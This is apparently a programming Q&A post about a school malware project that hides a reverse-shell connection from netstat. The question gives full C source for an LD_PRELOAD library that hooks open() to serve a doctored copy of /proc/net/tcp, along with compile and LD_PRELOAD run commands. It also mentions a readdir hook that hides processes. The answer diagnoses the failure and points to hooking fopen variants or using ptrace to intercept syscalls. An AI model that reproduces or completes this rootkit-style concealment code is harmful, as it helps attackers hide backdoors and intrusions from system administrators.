I already made a library that i override the readdir function and I use it to cover up some processes, and now am trying to override the open function, in order to hide a port that is opened, this is part of a project i have in school that i have to open a revershell connection and cover it up. netstat is using open function to read from /proc/net/tcp and display the open connections. I want when the /proc/net/tcp file is tryed to be opened to open a file that has all the contents of the /proc/net/tcp file but not the line that contains the port that i am connected with the reverse shell. The file is already made and is in this path /home/kali/Malware/project/hide_port/tcp.
I made this program in c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
int open(const char *pathname, int flags, ...) {
// Load the original open function if not loaded
if (!original_open) {
original_open = dlsym(RTLD_NEXT, "open");
if (!original_open) {
fprintf(stderr, "Error: Unable to load original open function\n");
return -1;
}
}
// Check if the file being opened is /proc/net/tcp
if (strcmp(pathname, "/proc/net/tcp") == 0) {
// If not already redirected, open the new file
if (redirected_fd == -1) {
redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
if (redirected_fd == -1) {
fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
return -1;
}
}
// Return the redirected file descriptor
return redirected_fd;
} else {
// Call the original open function for other files
return original_open(pathname, flags);
}
}
and then i compile it like this
gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl
and am running the netstat like this but am still getting the line that reference to the connection
LD_PRELOAD=./libnetstat_hide.so netstat
What I did:
.soand added debugprintf.netstatusing theLD_PRELOADopenfunction was not called (i.e. no debugprintfoutput).stracestraceoutputThe simple answer is that
netstatusesopenatand notopenfor all its open calls.Here is the partial
straceoutput:UPDATE:
I've done a bunch of testing. It appears that
netstatusesfopen. So, overridingopen[et. al.] won't work because glibc'sfopenwill use the internal version ofopen. So, we'd probably need to interceptfopeninstead.But, due to the way
glibcis constructed, the actual symbol is somewhat unclear. It could befopen64, with or without symbol versioning (e.g.fopen64@GLIBC_2.2.5),_IO_new_fopenor justfopen.A simpler way may be to run
netstatunder a customptraceprogram. That will intercept at the syscall level. It will catch things no matter what*opencall(s)netstatuses.See my answer: Forcing
pthread_createto fail for test purposes for an example of how to intercept syscalls.